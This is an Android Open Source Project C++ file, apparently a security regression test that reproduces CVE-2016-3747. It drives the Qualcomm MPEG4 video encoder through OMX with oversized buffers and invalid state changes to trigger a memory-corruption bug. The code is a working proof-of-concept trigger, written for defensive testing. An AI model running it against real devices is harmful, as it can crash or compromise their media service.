1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define LOG_TAG "CVE-2016-3747"
18
19 #include <OMX_Component.h>
20 #include <binder/MemoryDealer.h>
21 #include <log/log.h>
22 #include <media/IOMX.h>
23 #include <media/OMXBuffer.h>
24 #include <media/stagefright/OMXClient.h>
25 #include <utils/StrongPointer.h>
26
27 using namespace android;
28
29 struct DummyOMXObserver : public BnOMXObserver {
30 public:
DummyOMXObserverDummyOMXObserver31 DummyOMXObserver() {}
32
onMessagesDummyOMXObserver33 virtual void onMessages(const std::list<omx_message> &messages __unused) {}
34
35 protected:
~DummyOMXObserverDummyOMXObserver36 virtual ~DummyOMXObserver() {}
37 };
38
fuzzIOMXQcomEnc()39 bool fuzzIOMXQcomEnc() {
40 sp<IOMXNode> node;
41 sp<IOMX> mOmx;
42 int fenceFd = -1;
43 const char *name = "OMX.qcom.video.encoder.mpeg4";
44
45 std::unique_ptr<OMX_PARAM_PORTDEFINITIONTYPE> params(new OMX_PARAM_PORTDEFINITIONTYPE);
46 params->nPortIndex = 0; // input port
47 params->format.video.nFrameHeight = 1280 * 4;
48 params->format.video.nFrameWidth = 720 * 4;
49 params->nBufferCountActual = 12;
50 params->nBufferSize = 73728;
51 params->nBufferCountMin = 0x4;
52
53 int inMemSize = params->nBufferSize * 12;
54 int outMemSize = 49152 * 4;
55 int inBufferCnt = 12;
56 int outBufferCnt = 4;
57 int inBufferSize = inMemSize / inBufferCnt;
58 int outBufferSize = outMemSize / outBufferCnt;
59
60 sp<IMemory> memory;
61
62 OMXClient client;
63 if (client.connect() != OK) {
64 ALOGE("OMXClient connect == NULL");
65 return false;
66 }
67
68 mOmx = client.interface();
69 if (mOmx == NULL) {
70 ALOGE("OMXClient interface mOmx == NULL");
71 client.disconnect();
72 return false;
73 }
74
75 sp<DummyOMXObserver> observer = new DummyOMXObserver();
76 status_t err = mOmx->allocateNode(name, observer, &node);
77 if (err != OK) {
78 ALOGI("%s node allocation fails", name);
79 return false;
80 }
81 // make venc in invalid state
82 err = node->sendCommand(OMX_CommandStateSet, 2);
83 if (err != OK) {
84 ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
85 node->freeNode();
86 return false;
87 }
88
89 sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
90 std::unique_ptr<IOMX::buffer_id[]> inBufferId(new IOMX::buffer_id[inBufferCnt]);
91 for (int i = 0; i < inBufferCnt; i++) {
92 sp<IMemory> memory = dealerIn->allocate(inBufferSize);
93 if (memory.get() == nullptr) {
94 ALOGE("memory allocate failed for port index 0, err: %d", err);
95 node->freeNode();
96 return false;
97 }
98 OMXBuffer omxInBuf(memory);
99 err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
100 ALOGI("useBuffer, port index 0, err: %d", err);
101 }
102
103 sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
104 std::unique_ptr<IOMX::buffer_id[]> outBufferId(new IOMX::buffer_id[outBufferCnt]);
105 for (int i = 0; i < outBufferCnt; i++) {
106 sp<IMemory> memory = dealerOut->allocate(outBufferSize);
107 if (memory.get() == nullptr) {
108 ALOGE("memory allocate failed for port index 1, err: %d", err);
109 node->freeNode();
110 return false;
111 }
112 OMXBuffer omxOutBuf(memory);
113 err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
114 ALOGI("useBuffer, port index 1, err: %d", err);
115 }
116
117 // make venc in invalid state
118 err = node->sendCommand(OMX_CommandStateSet, 3);
119 ALOGI("sendCommand, err: %d", err);
120 if (err != OK) {
121 ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
122 node->freeNode();
123 return false;
124 }
125
126 OMXBuffer omxInBuf(memory);
127 for (int i = 0; i < inBufferCnt; i++) {
128 err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
129 ALOGI("emptyBuffer, err: %d", err);
130 }
131
132 OMXBuffer omxOutBuf(memory);
133 for (int i = 0; i < outBufferCnt; i++) {
134 err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
135 ALOGI("fillBuffer, err: %d", err);
136 }
137 err = node->freeNode();
138 ALOGI("freeNode, err: %d", err);
139 return true;
140 }
141
main()142 int main() { return fuzzIOMXQcomEnc(); }
143